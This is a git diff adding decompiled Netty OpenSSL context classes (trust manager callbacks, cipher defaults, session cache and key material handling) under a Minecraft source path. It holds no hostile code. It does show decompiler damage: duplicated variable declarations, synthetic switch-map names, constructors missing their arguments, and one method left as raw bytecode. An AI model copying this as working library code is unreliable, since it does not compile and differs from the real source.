+          trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+          
+          trustManagerFactory.init((KeyStore)null);
+        }
+        X509TrustManager manager = chooseTrustManager(trustManagerFactory.getTrustManagers());
+        
+
+
+
+
+
+
+
+        if (useExtendedTrustManager(manager)) {
+          SSLContext.setCertVerifyCallback(ctx, new ExtendedTrustManagerVerifyCallback(engineMap, (X509ExtendedTrustManager)manager));
+        }
+        else {
+          SSLContext.setCertVerifyCallback(ctx, new TrustManagerVerifyCallback(engineMap, manager));
+        }
+      } catch (Exception e) {
+        throw new SSLException("unable to setup trustmanager", e);
+      }
+    }
+    return new OpenSslClientSessionContext(thiz);
+  }
+  
+  static final class OpenSslClientSessionContext extends OpenSslSessionContext
+  {
+    OpenSslClientSessionContext(ReferenceCountedOpenSslContext context) {
+      super();
+    }
+    
+    public void setSessionTimeout(int seconds)
+    {
+      if (seconds < 0) {
+        throw new IllegalArgumentException();
+      }
+    }
+    
+    public int getSessionTimeout()
+    {
+      return 0;
+    }
+    
+    public void setSessionCacheSize(int size)
+    {
+      if (size < 0) {
+        throw new IllegalArgumentException();
+      }
+    }
+    
+    public int getSessionCacheSize()
+    {
+      return 0;
+    }
+    
+
+
+    public void setSessionCacheEnabled(boolean enabled) {}
+    
+
+    public boolean isSessionCacheEnabled()
+    {
+      return false;
+    }
+  }
+  
+  private static final class TrustManagerVerifyCallback extends ReferenceCountedOpenSslContext.AbstractCertificateVerifier {
+    private final X509TrustManager manager;
+    
+    TrustManagerVerifyCallback(OpenSslEngineMap engineMap, X509TrustManager manager) {
+      super();
+      this.manager = manager;
+    }
+    
+    void verify(ReferenceCountedOpenSslEngine engine, X509Certificate[] peerCerts, String auth)
+      throws Exception
+    {
+      manager.checkServerTrusted(peerCerts, auth);
+    }
+  }
+  
+  private static final class ExtendedTrustManagerVerifyCallback extends ReferenceCountedOpenSslContext.AbstractCertificateVerifier {
+    private final X509ExtendedTrustManager manager;
+    
+    ExtendedTrustManagerVerifyCallback(OpenSslEngineMap engineMap, X509ExtendedTrustManager manager) {
+      super();
+      this.manager = manager;
+    }
+    
+    void verify(ReferenceCountedOpenSslEngine engine, X509Certificate[] peerCerts, String auth)
+      throws Exception
+    {
+      manager.checkServerTrusted(peerCerts, auth, engine);
+    }
+  }
+  
+  private static final class OpenSslCertificateRequestedCallback implements CertificateRequestedCallback {
+    private final OpenSslEngineMap engineMap;
+    private final OpenSslKeyMaterialManager keyManagerHolder;
+    
+    OpenSslCertificateRequestedCallback(OpenSslEngineMap engineMap, OpenSslKeyMaterialManager keyManagerHolder) {
+      this.engineMap = engineMap;
+      this.keyManagerHolder = keyManagerHolder;
+    }
+    
+    public CertificateRequestedCallback.KeyMaterial requested(long ssl, byte[] keyTypeBytes, byte[][] asn1DerEncodedPrincipals)
+    {
+      ReferenceCountedOpenSslEngine engine = engineMap.get(ssl);
+      try {
+        Set<String> keyTypesSet = supportedClientKeyTypes(keyTypeBytes);
+        String[] keyTypes = (String[])keyTypesSet.toArray(new String[keyTypesSet.size()]);
+        X500Principal[] issuers;
+        X500Principal[] issuers; if (asn1DerEncodedPrincipals == null) {
+          issuers = null;
+        } else {
+          issuers = new X500Principal[asn1DerEncodedPrincipals.length];
+          for (int i = 0; i < asn1DerEncodedPrincipals.length; i++) {
+            issuers[i] = new X500Principal(asn1DerEncodedPrincipals[i]);
+          }
+        }
+        return keyManagerHolder.keyMaterial(engine, keyTypes, issuers);
+      } catch (Throwable cause) {
+        ReferenceCountedOpenSslClientContext.logger.debug("request of key failed", cause);
+        SSLHandshakeException e = new SSLHandshakeException("General OpenSslEngine problem");
+        e.initCause(cause);
+        handshakeException = e; }
+      return null;
+    }
+    
+
+
+
+
+
+
+
+
+    private static Set<String> supportedClientKeyTypes(byte[] clientCertificateTypes)
+    {
+      Set<String> result = new HashSet(clientCertificateTypes.length);
+      for (byte keyTypeCode : clientCertificateTypes) {
+        String keyType = clientKeyType(keyTypeCode);
+        if (keyType != null)
+        {
+
+
+          result.add(keyType); }
+      }
+      return result;
+    }
+    
+    private static String clientKeyType(byte clientCertificateType)
+    {
+      switch (clientCertificateType) {
+      case 1: 
+        return "RSA";
+      case 3: 
+        return "DH_RSA";
+      case 64: 
+        return "EC";
+      case 65: 
+        return "EC_RSA";
+      case 66: 
+        return "EC_EC";
+      }
+      return null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslContext.java b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslContext.java
new file mode 100644
index 0000000..687f045
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslContext.java
@@ -0,0 +1,909 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.ResourceLeak;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.ResourceLeakDetectorFactory;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.security.AccessController;
+import java.security.PrivateKey;
+import java.security.PrivilegedAction;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateExpiredException;
+import java.security.cert.CertificateNotYetValidException;
+import java.security.cert.CertificateRevokedException;
+import java.security.cert.X509Certificate;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import javax.net.ssl.KeyManager;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLHandshakeException;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.X509ExtendedKeyManager;
+import javax.net.ssl.X509ExtendedTrustManager;
+import javax.net.ssl.X509KeyManager;
+import javax.net.ssl.X509TrustManager;
+import org.apache.tomcat.jni.CertificateVerifier;
+import org.apache.tomcat.jni.Pool;
+import org.apache.tomcat.jni.SSL;
+import org.apache.tomcat.jni.SSLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ReferenceCountedOpenSslContext
+  extends SslContext
+  implements ReferenceCounted
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ReferenceCountedOpenSslContext.class);
+  
+
+
+
+
+
+
+
+
+  private static final boolean JDK_REJECT_CLIENT_INITIATED_RENEGOTIATION = ((Boolean)AccessController.doPrivileged(new PrivilegedAction()
+  {
+    public Boolean run()
+    {
+      return Boolean.valueOf(SystemPropertyUtil.getBoolean("jdk.tls.rejectClientInitiatedRenegotiation", false));
+    }
+  })).booleanValue();
+  
+
+  private static final List<String> DEFAULT_CIPHERS;
+  
+
+  private static final Integer DH_KEY_LENGTH;
+  
+
+  private static final ResourceLeakDetector<ReferenceCountedOpenSslContext> leakDetector = ResourceLeakDetectorFactory.instance().newResourceLeakDetector(ReferenceCountedOpenSslContext.class);
+  
+  protected static final int VERIFY_DEPTH = 10;
+  
+  protected volatile long ctx;
+  
+  long aprPool;
+  
+  private volatile int aprPoolDestroyed;
+  
+  private final List<String> unmodifiableCiphers;
+  
+  private final long sessionCacheSize;
+  
+  private final long sessionTimeout;
+  
+  private final OpenSslApplicationProtocolNegotiator apn;
+  
+  private final int mode;
+  
+  private final ResourceLeak leak;
+  private final AbstractReferenceCounted refCnt = new AbstractReferenceCounted()
+  {
+    public ReferenceCounted touch(Object hint) {
+      if (leak != null) {
+        leak.record(hint);
+      }
+      
+      return ReferenceCountedOpenSslContext.this;
+    }
+    
+    protected void deallocate()
+    {
+      destroy();
+      if (leak != null) {
+        leak.close();
+      }
+    }
+  };
+  
+  final Certificate[] keyCertChain;
+  final ClientAuth clientAuth;
+  final OpenSslEngineMap engineMap = new DefaultOpenSslEngineMap(null);
+  
+  volatile boolean rejectRemoteInitiatedRenegotiation;
+  static final OpenSslApplicationProtocolNegotiator NONE_PROTOCOL_NEGOTIATOR = new OpenSslApplicationProtocolNegotiator()
+  {
+    public ApplicationProtocolConfig.Protocol protocol()
+    {
+      return ApplicationProtocolConfig.Protocol.NONE;
+    }
+    
+    public List<String> protocols()
+    {
+      return Collections.emptyList();
+    }
+    
+    public ApplicationProtocolConfig.SelectorFailureBehavior selectorFailureBehavior()
+    {
+      return ApplicationProtocolConfig.SelectorFailureBehavior.CHOOSE_MY_LAST_PROTOCOL;
+    }
+    
+    public ApplicationProtocolConfig.SelectedListenerFailureBehavior selectedListenerFailureBehavior()
+    {
+      return ApplicationProtocolConfig.SelectedListenerFailureBehavior.ACCEPT;
+    }
+  };
+  
+  static {
+    List<String> ciphers = new ArrayList();
+    
+    Collections.addAll(ciphers, new String[] { "ECDHE-ECDSA-AES256-GCM-SHA384", "ECDHE-ECDSA-AES128-GCM-SHA256", "ECDHE-RSA-AES128-GCM-SHA256", "ECDHE-RSA-AES128-SHA", "ECDHE-RSA-AES256-SHA", "AES128-GCM-SHA256", "AES128-SHA", "AES256-SHA" });
+    
+
+
+
+
+
+
+
+
+    DEFAULT_CIPHERS = Collections.unmodifiableList(ciphers);
+    
+    if (logger.isDebugEnabled()) {
+      logger.debug("Default cipher suite (OpenSSL): " + ciphers);
+    }
+    
+    Integer dhLen = null;
+    try
+    {
+      String dhKeySize = (String)AccessController.doPrivileged(new PrivilegedAction()
+      {
+        public String run() {
+          return SystemPropertyUtil.get("jdk.tls.ephemeralDHKeySize");
+        }
+      });
+      if (dhKeySize != null) {
+        try {
+          dhLen = Integer.valueOf(dhKeySize);
+        } catch (NumberFormatException e) {
+          logger.debug("ReferenceCountedOpenSslContext supports -Djdk.tls.ephemeralDHKeySize={int}, but got: " + dhKeySize);
+        }
+      }
+    }
+    catch (Throwable localThrowable) {}
+    
+
+    DH_KEY_LENGTH = dhLen;
+  }
+  
+
+  ReferenceCountedOpenSslContext(Iterable<String> ciphers, CipherSuiteFilter cipherFilter, ApplicationProtocolConfig apnCfg, long sessionCacheSize, long sessionTimeout, int mode, Certificate[] keyCertChain, ClientAuth clientAuth, boolean startTls, boolean leakDetection)
+    throws SSLException
+  {
+    this(ciphers, cipherFilter, toNegotiator(apnCfg), sessionCacheSize, sessionTimeout, mode, keyCertChain, clientAuth, startTls, leakDetection);
+  }
+  
+
+
+  ReferenceCountedOpenSslContext(Iterable<String> ciphers, CipherSuiteFilter cipherFilter, OpenSslApplicationProtocolNegotiator apn, long sessionCacheSize, long sessionTimeout, int mode, Certificate[] keyCertChain, ClientAuth clientAuth, boolean startTls, boolean leakDetection)
+    throws SSLException
+  {
+    super(startTls);
+    
+    OpenSsl.ensureAvailability();
+    
+    if ((mode != 1) && (mode != 0)) {
+      throw new IllegalArgumentException("mode most be either SSL.SSL_MODE_SERVER or SSL.SSL_MODE_CLIENT");
+    }
+    leak = (leakDetection ? leakDetector.open(this) : null);
+    this.mode = mode;
+    this.clientAuth = (isServer() ? (ClientAuth)ObjectUtil.checkNotNull(clientAuth, "clientAuth") : ClientAuth.NONE);
+    
+    if (mode == 1) {
+      rejectRemoteInitiatedRenegotiation = JDK_REJECT_CLIENT_INITIATED_RENEGOTIATION;
+    }
+    
+    this.keyCertChain = (keyCertChain == null ? null : (Certificate[])keyCertChain.clone());
+    List<String> convertedCiphers;
+    List<String> convertedCiphers; if (ciphers == null) {
+      convertedCiphers = null;
+    } else {
+      convertedCiphers = new ArrayList();
+      for (String c : ciphers) {
+        if (c == null) {
+          break;
+        }
+        
+        String converted = CipherSuiteConverter.toOpenSsl(c);
+        if (converted != null) {
+          c = converted;
+        }
+        convertedCiphers.add(c);
+      }
+    }
+    
+    unmodifiableCiphers = Arrays.asList(((CipherSuiteFilter)ObjectUtil.checkNotNull(cipherFilter, "cipherFilter")).filterCipherSuites(convertedCiphers, DEFAULT_CIPHERS, OpenSsl.availableCipherSuites()));
+    
+
+    this.apn = ((OpenSslApplicationProtocolNegotiator)ObjectUtil.checkNotNull(apn, "apn"));
+    
+
+    aprPool = Pool.create(0L);
+    
+
+    boolean success = false;
+    try {
+      synchronized (ReferenceCountedOpenSslContext.class) {
+        try {
+          ctx = SSLContext.make(aprPool, 31, mode);
+        } catch (Exception e) {
+          throw new SSLException("failed to create an SSL_CTX", e);
+        }
+        
+        SSLContext.setOptions(ctx, 4095);
+        SSLContext.setOptions(ctx, 16777216);
+        SSLContext.setOptions(ctx, 33554432);
+        SSLContext.setOptions(ctx, 4194304);
+        SSLContext.setOptions(ctx, 524288);
+        SSLContext.setOptions(ctx, 1048576);
+        SSLContext.setOptions(ctx, 65536);
+        
+
+
+
+        SSLContext.setOptions(ctx, 16384);
+        
+
+
+
+        SSLContext.setMode(ctx, SSLContext.getMode(ctx) | 0x2);
+        
+        if (DH_KEY_LENGTH != null) {
+          SSLContext.setTmpDHLength(ctx, DH_KEY_LENGTH.intValue());
+        }
+        
+        try
+        {
+          SSLContext.setCipherSuite(ctx, CipherSuiteConverter.toOpenSsl(unmodifiableCiphers));
+        } catch (SSLException e) {
+          throw e;
+        } catch (Exception e) {
+          throw new SSLException("failed to set cipher suite: " + unmodifiableCiphers, e);
+        }
+        
+        List<String> nextProtoList = apn.protocols();
+        
+        if (!nextProtoList.isEmpty()) {
+          String[] protocols = (String[])nextProtoList.toArray(new String[nextProtoList.size()]);
+          int selectorBehavior = opensslSelectorFailureBehavior(apn.selectorFailureBehavior());
+          
+          switch (5.$SwitchMap$io$netty$handler$ssl$ApplicationProtocolConfig$Protocol[apn.protocol().ordinal()]) {
+          case 1: 
+            SSLContext.setNpnProtos(ctx, protocols, selectorBehavior);
+            break;
+          case 2: 
+            SSLContext.setAlpnProtos(ctx, protocols, selectorBehavior);
+            break;
+          case 3: 
+            SSLContext.setNpnProtos(ctx, protocols, selectorBehavior);
+            SSLContext.setAlpnProtos(ctx, protocols, selectorBehavior);
+            break;
+          default: 
+            throw new Error();
+          }
+          
+        }
+        
+        if (sessionCacheSize > 0L) {
+          this.sessionCacheSize = sessionCacheSize;
+          SSLContext.setSessionCacheSize(ctx, sessionCacheSize);
+        }
+        else {
+          this.sessionCacheSize = (sessionCacheSize = SSLContext.setSessionCacheSize(ctx, 20480L));
+          
+          SSLContext.setSessionCacheSize(ctx, sessionCacheSize);
+        }
+        
+
+        if (sessionTimeout > 0L) {
+          this.sessionTimeout = sessionTimeout;
+          SSLContext.setSessionCacheTimeout(ctx, sessionTimeout);
+        }
+        else {
+          this.sessionTimeout = (sessionTimeout = SSLContext.setSessionCacheTimeout(ctx, 300L));
+          
+          SSLContext.setSessionCacheTimeout(ctx, sessionTimeout);
+        }
+      }
+      success = true;
+    } finally {
+      if (!success) {
+        release();
+      }
+    }
+  }
+  
+  private static int opensslSelectorFailureBehavior(ApplicationProtocolConfig.SelectorFailureBehavior behavior) {
+    switch (behavior) {
+    case NO_ADVERTISE: 
+      return 0;
+    case CHOOSE_MY_LAST_PROTOCOL: 
+      return 1;
+    }
+    throw new Error();
+  }
+  
+
+  public final List<String> cipherSuites()
+  {
+    return unmodifiableCiphers;
+  }
+  
+  public final long sessionCacheSize()
+  {
+    return sessionCacheSize;
+  }
+  
+  public final long sessionTimeout()
+  {
+    return sessionTimeout;
+  }
+  
+  public ApplicationProtocolNegotiator applicationProtocolNegotiator()
+  {
+    return apn;
+  }
+  
+  public final boolean isClient()
+  {
+    return mode == 0;
+  }
+  
+  public final SSLEngine newEngine(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    return newEngine0(alloc, peerHost, peerPort);
+  }
+  
+  SSLEngine newEngine0(ByteBufAllocator alloc, String peerHost, int peerPort) {
+    return new ReferenceCountedOpenSslEngine(this, alloc, peerHost, peerPort, true);
+  }
+  
+
+
+
+
+
+  public final SSLEngine newEngine(ByteBufAllocator alloc)
+  {
+    return newEngine(alloc, null, -1);
+  }
+  
+
+
+
+
+
+
+  @Deprecated
+  public final long context()
+  {
+    return ctx;
+  }
+  
+
+
+
+
+  @Deprecated
+  public final OpenSslSessionStats stats()
+  {
+    return sessionContext().stats();
+  }
+  
+
+
+
+  public void setRejectRemoteInitiatedRenegotiation(boolean rejectRemoteInitiatedRenegotiation)
+  {
+    this.rejectRemoteInitiatedRenegotiation = rejectRemoteInitiatedRenegotiation;
+  }
+  
+
+
+
+
+  @Deprecated
+  public final void setTicketKeys(byte[] keys)
+  {
+    sessionContext().setTicketKeys(keys);
+  }
+  
+
+
+
+
+
+
+
+  public final long sslCtxPointer()
+  {
+    return ctx;
+  }
+  
+
+
+  final void destroy()
+  {
+    synchronized (ReferenceCountedOpenSslContext.class) {
+      if (ctx != 0L) {
+        SSLContext.free(ctx);
+        ctx = 0L;
+      }
+      
+
+      if (aprPool != 0L) {
+        Pool.destroy(aprPool);
+        aprPool = 0L;
+      }
+    }
+  }
+  
+  protected static X509Certificate[] certificates(byte[][] chain) {
+    X509Certificate[] peerCerts = new X509Certificate[chain.length];
+    for (int i = 0; i < peerCerts.length; i++) {
+      peerCerts[i] = new OpenSslX509Certificate(chain[i]);
+    }
+    return peerCerts;
+  }
+  
+  protected static X509TrustManager chooseTrustManager(TrustManager[] managers) {
+    for (TrustManager m : managers) {
+      if ((m instanceof X509TrustManager)) {
+        return (X509TrustManager)m;
+      }
+    }
+    throw new IllegalStateException("no X509TrustManager found");
+  }
+  
+  protected static X509KeyManager chooseX509KeyManager(KeyManager[] kms) {
+    for (KeyManager km : kms) {
+      if ((km instanceof X509KeyManager)) {
+        return (X509KeyManager)km;
+      }
+    }
+    throw new IllegalStateException("no X509KeyManager found");
+  }
+  
+
+
+
+
+
+
+  static OpenSslApplicationProtocolNegotiator toNegotiator(ApplicationProtocolConfig config)
+  {
+    if (config == null) {
+      return NONE_PROTOCOL_NEGOTIATOR;
+    }
+    
+    switch (5.$SwitchMap$io$netty$handler$ssl$ApplicationProtocolConfig$Protocol[config.protocol().ordinal()]) {
+    case 4: 
+      return NONE_PROTOCOL_NEGOTIATOR;
+    case 1: 
+    case 2: 
+    case 3: 
+      switch (config.selectedListenerFailureBehavior()) {
+      case CHOOSE_MY_LAST_PROTOCOL: 
+      case ACCEPT: 
+        switch (config.selectorFailureBehavior()) {
+        case NO_ADVERTISE: 
+        case CHOOSE_MY_LAST_PROTOCOL: 
+          return new OpenSslDefaultApplicationProtocolNegotiator(config);
+        }
+        
+        throw new UnsupportedOperationException("OpenSSL provider does not support " + config.selectorFailureBehavior() + " behavior");
+      }
+      
+      
+
+
+      throw new UnsupportedOperationException("OpenSSL provider does not support " + config.selectedListenerFailureBehavior() + " behavior");
+    }
+    
+    
+
+
+    throw new Error();
+  }
+  
+  static boolean useExtendedTrustManager(X509TrustManager trustManager)
+  {
+    return (PlatformDependent.javaVersion() >= 7) && ((trustManager instanceof X509ExtendedTrustManager));
+  }
+  
+  static boolean useExtendedKeyManager(X509KeyManager keyManager) {
+    return (PlatformDependent.javaVersion() >= 7) && ((keyManager instanceof X509ExtendedKeyManager));
+  }
+  
+  public final int refCnt()
+  {
+    return refCnt.refCnt();
+  }
+  
+  public final ReferenceCounted retain()
+  {
+    refCnt.retain();
+    return this;
+  }
+  
+  public final ReferenceCounted retain(int increment)
+  {
+    refCnt.retain(increment);
+    return this;
+  }
+  
+  public final ReferenceCounted touch()
+  {
+    refCnt.touch();
+    return this;
+  }
+  
+  public final ReferenceCounted touch(Object hint)
+  {
+    refCnt.touch(hint);
+    return this;
+  }
+  
+  public final boolean release()
+  {
+    return refCnt.release();
+  }
+  
+  public final boolean release(int decrement)
+  {
+    return refCnt.release(decrement);
+  }
+  
+  static abstract class AbstractCertificateVerifier implements CertificateVerifier {
+    private final OpenSslEngineMap engineMap;
+    
+    AbstractCertificateVerifier(OpenSslEngineMap engineMap) {
+      this.engineMap = engineMap;
+    }
+    
+    public final int verify(long ssl, byte[][] chain, String auth)
+    {
+      X509Certificate[] peerCerts = ReferenceCountedOpenSslContext.certificates(chain);
+      ReferenceCountedOpenSslEngine engine = engineMap.get(ssl);
+      try {
+        verify(engine, peerCerts, auth);
+        return 0;
+      } catch (Throwable cause) {
+        ReferenceCountedOpenSslContext.logger.debug("verification of certificate failed", cause);
+        SSLHandshakeException e = new SSLHandshakeException("General OpenSslEngine problem");
+        e.initCause(cause);
+        handshakeException = e;
+        
+        if ((cause instanceof OpenSslCertificateException)) {
+          return ((OpenSslCertificateException)cause).errorCode();
+        }
+        if ((cause instanceof CertificateExpiredException)) {
+          return 10;
+        }
+        if ((cause instanceof CertificateNotYetValidException)) {
+          return 9;
+        }
+        if ((PlatformDependent.javaVersion() >= 7) && ((cause instanceof CertificateRevokedException)))
+          return 23;
+      }
+      return 1;
+    }
+    
+    abstract void verify(ReferenceCountedOpenSslEngine paramReferenceCountedOpenSslEngine, X509Certificate[] paramArrayOfX509Certificate, String paramString)
+      throws Exception;
+  }
+  
+  private static final class DefaultOpenSslEngineMap implements OpenSslEngineMap
+  {
+    private final Map<Long, ReferenceCountedOpenSslEngine> engines = PlatformDependent.newConcurrentHashMap();
+    
+    private DefaultOpenSslEngineMap() {}
+    
+    public ReferenceCountedOpenSslEngine remove(long ssl) { return (ReferenceCountedOpenSslEngine)engines.remove(Long.valueOf(ssl)); }
+    
+
+    public void add(ReferenceCountedOpenSslEngine engine)
+    {
+      engines.put(Long.valueOf(engine.sslPointer()), engine);
+    }
+    
+    public ReferenceCountedOpenSslEngine get(long ssl)
+    {
+      return (ReferenceCountedOpenSslEngine)engines.get(Long.valueOf(ssl));
+    }
+  }
+  
+  static void setKeyMaterial(long ctx, X509Certificate[] keyCertChain, PrivateKey key, String keyPassword)
+    throws SSLException
+  {
+    long keyBio = 0L;
+    long keyCertChainBio = 0L;
+    long keyCertChainBio2 = 0L;
+    PemEncoded encoded = null;
+    try
+    {
+      encoded = PemX509Certificate.toPEM(ByteBufAllocator.DEFAULT, true, keyCertChain);
+      keyCertChainBio = toBIO(ByteBufAllocator.DEFAULT, encoded.retain());
+      keyCertChainBio2 = toBIO(ByteBufAllocator.DEFAULT, encoded.retain());
+      
+      if (key != null) {
+        keyBio = toBIO(key);
+      }
+      
+      SSLContext.setCertificateBio(ctx, keyCertChainBio, keyBio, keyPassword == null ? "" : keyPassword);
+      
+
+
+      SSLContext.setCertificateChainBio(ctx, keyCertChainBio2, true);
+    } catch (SSLException e) {
+      throw e;
+    } catch (Exception e) {
+      throw new SSLException("failed to set certificate and key", e);
+    } finally {
+      freeBio(keyBio);
+      freeBio(keyCertChainBio);
+      freeBio(keyCertChainBio2);
+      if (encoded != null) {
+        encoded.release();
+      }
+    }
+  }
+  
+  static void freeBio(long bio) {
+    if (bio != 0L) {
+      SSL.freeBIO(bio);
+    }
+  }
+  
+
+
+  static long toBIO(PrivateKey key)
+    throws Exception
+  {
+    if (key == null) {
+      return 0L;
+    }
+    
+    ByteBufAllocator allocator = ByteBufAllocator.DEFAULT;
+    PemEncoded pem = PemPrivateKey.toPEM(allocator, true, key);
+    try {
+      return toBIO(allocator, pem.retain());
+    } finally {
+      pem.release();
+    }
+  }
+  
+
+
+  static long toBIO(X509Certificate... certChain)
+    throws Exception
+  {
+    if (certChain == null) {
+      return 0L;
+    }
+    
+    if (certChain.length == 0) {
+      throw new IllegalArgumentException("certChain can't be empty");
+    }
+    
+    ByteBufAllocator allocator = ByteBufAllocator.DEFAULT;
+    PemEncoded pem = PemX509Certificate.toPEM(allocator, true, certChain);
+    try {
+      return toBIO(allocator, pem.retain());
+    } finally {
+      pem.release();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static long newBIO(ByteBuf buffer)
+    throws Exception
+  {
+    try
+    {
+      long bio = SSL.newMemBIO();
+      int readable = buffer.readableBytes();
+      if (SSL.writeToBIO(bio, OpenSsl.memoryAddress(buffer) + buffer.readerIndex(), readable) != readable) {
+        SSL.freeBIO(bio);
+        throw new IllegalStateException("Could not write data to memory BIO");
+      }
+      return bio;
+    } finally {
+      buffer.release();
+    }
+  }
+  
+  abstract OpenSslKeyMaterialManager keyMaterialManager();
+  
+  public abstract OpenSslSessionContext sessionContext();
+  
+  /* Error */
+  static long toBIO(ByteBufAllocator allocator, PemEncoded pem)
+    throws Exception
+  {
+    // Byte code:
+    //   0: aload_1
+    //   1: invokeinterface 157 1 0
+    //   6: astore_2
+    //   7: aload_2
+    //   8: invokevirtual 158	io/netty/buffer/ByteBuf:isDirect	()Z
+    //   11: ifeq +20 -> 31
+    //   14: aload_2
+    //   15: invokevirtual 159	io/netty/buffer/ByteBuf:retainedSlice	()Lio/netty/buffer/ByteBuf;
+    //   18: invokestatic 160	io/netty/handler/ssl/ReferenceCountedOpenSslContext:newBIO	(Lio/netty/buffer/ByteBuf;)J
+    //   21: lstore_3
+    //   22: aload_1
+    //   23: invokeinterface 152 1 0
+    //   28: pop
+    //   29: lload_3
+    //   30: lreturn
+    //   31: aload_0
+    //   32: aload_2
+    //   33: invokevirtual 161	io/netty/buffer/ByteBuf:readableBytes	()I
+    //   36: invokeinterface 162 2 0
+    //   41: astore_3
+    //   42: aload_3
+    //   43: aload_2
+    //   44: aload_2
+    //   45: invokevirtual 163	io/netty/buffer/ByteBuf:readerIndex	()I
+    //   48: aload_2
+    //   49: invokevirtual 161	io/netty/buffer/ByteBuf:readableBytes	()I
+    //   52: invokevirtual 164	io/netty/buffer/ByteBuf:writeBytes	(Lio/netty/buffer/ByteBuf;II)Lio/netty/buffer/ByteBuf;
+    //   55: pop
+    //   56: aload_3
+    //   57: invokevirtual 159	io/netty/buffer/ByteBuf:retainedSlice	()Lio/netty/buffer/ByteBuf;
+    //   60: invokestatic 160	io/netty/handler/ssl/ReferenceCountedOpenSslContext:newBIO	(Lio/netty/buffer/ByteBuf;)J
+    //   63: lstore 4
+    //   65: aload_1
+    //   66: invokeinterface 165 1 0
+    //   71: ifeq +7 -> 78
+    //   74: aload_3
+    //   75: invokestatic 166	io/netty/handler/ssl/SslUtils:zeroout	(Lio/netty/buffer/ByteBuf;)V
+    //   78: aload_3
+    //   79: invokevirtual 167	io/netty/buffer/ByteBuf:release	()Z
+    //   82: pop
+    //   83: goto +13 -> 96
+    //   86: astore 6
+    //   88: aload_3
+    //   89: invokevirtual 167	io/netty/buffer/ByteBuf:release	()Z
+    //   92: pop
+    //   93: aload 6
+    //   95: athrow
+    //   96: aload_1
+    //   97: invokeinterface 152 1 0
+    //   102: pop
+    //   103: lload 4
+    //   105: lreturn
+    //   106: astore 7
+    //   108: aload_1
+    //   109: invokeinterface 165 1 0
+    //   114: ifeq +7 -> 121
+    //   117: aload_3
+    //   118: invokestatic 166	io/netty/handler/ssl/SslUtils:zeroout	(Lio/netty/buffer/ByteBuf;)V
+    //   121: aload_3
+    //   122: invokevirtual 167	io/netty/buffer/ByteBuf:release	()Z
+    //   125: pop
+    //   126: goto +13 -> 139
+    //   129: astore 8
+    //   131: aload_3
+    //   132: invokevirtual 167	io/netty/buffer/ByteBuf:release	()Z
+    //   135: pop
+    //   136: aload 8
+    //   138: athrow
+    //   139: aload 7
+    //   141: athrow
+    //   142: astore 9
+    //   144: aload_1
+    //   145: invokeinterface 152 1 0
+    //   150: pop
+    //   151: aload 9
+    //   153: athrow
+    // Line number table:
+    //   Java source line #733	-> byte code offset #0
+    //   Java source line #735	-> byte code offset #7
+    //   Java source line #736	-> byte code offset #14
+    //   Java source line #755	-> byte code offset #22
+    //   Java source line #739	-> byte code offset #31
+    //   Java source line #741	-> byte code offset #42
+    //   Java source line #742	-> byte code offset #56
+    //   Java source line #747	-> byte code offset #65
+    //   Java source line #748	-> byte code offset #74
+    //   Java source line #751	-> byte code offset #78
+    //   Java source line #752	-> byte code offset #83
+    //   Java source line #751	-> byte code offset #86
+    //   Java source line #755	-> byte code offset #96
+    //   Java source line #744	-> byte code offset #106
+    //   Java source line #747	-> byte code offset #108
+    //   Java source line #748	-> byte code offset #117
+    //   Java source line #751	-> byte code offset #121
+    //   Java source line #752	-> byte code offset #126
+    //   Java source line #751	-> byte code offset #129
+    //   Java source line #755	-> byte code offset #142
+    // Local variable table:
+    //   start	length	slot	name	signature
+    //   0	154	0	allocator	ByteBufAllocator
+    //   0	154	1	pem	PemEncoded
+    //   6	43	2	content	ByteBuf
+    //   21	9	3	l1	long
+    //   41	91	3	buffer	ByteBuf
+    //   63	41	4	l2	long
+    //   86	8	6	localObject1	Object
+    //   106	34	7	localObject2	Object
+    //   129	8	8	localObject3	Object
+    //   142	10	9	localObject4	Object
+    // Exception table:
+    //   from	to	target	type
+    //   65	78	86	finally
+    //   86	88	86	finally
+    //   42	65	106	finally
+    //   106	108	106	finally
+    //   108	121	129	finally
+    //   129	131	129	finally
+    //   0	22	142	finally
+    //   31	96	142	finally
+    //   106	144	142	finally
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslEngine.java b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslEngine.java
new file mode 100644
index 0000000..2f4fa11
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ReferenceCountedOpenSslEngine.java
@@ -0,0 +1,1958 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.util.AbstractReferenceCounted;
+import io.netty.util.ReferenceCounted;
+import io.netty.util.ResourceLeak;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.ResourceLeakDetectorFactory;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.ObjectUtil;
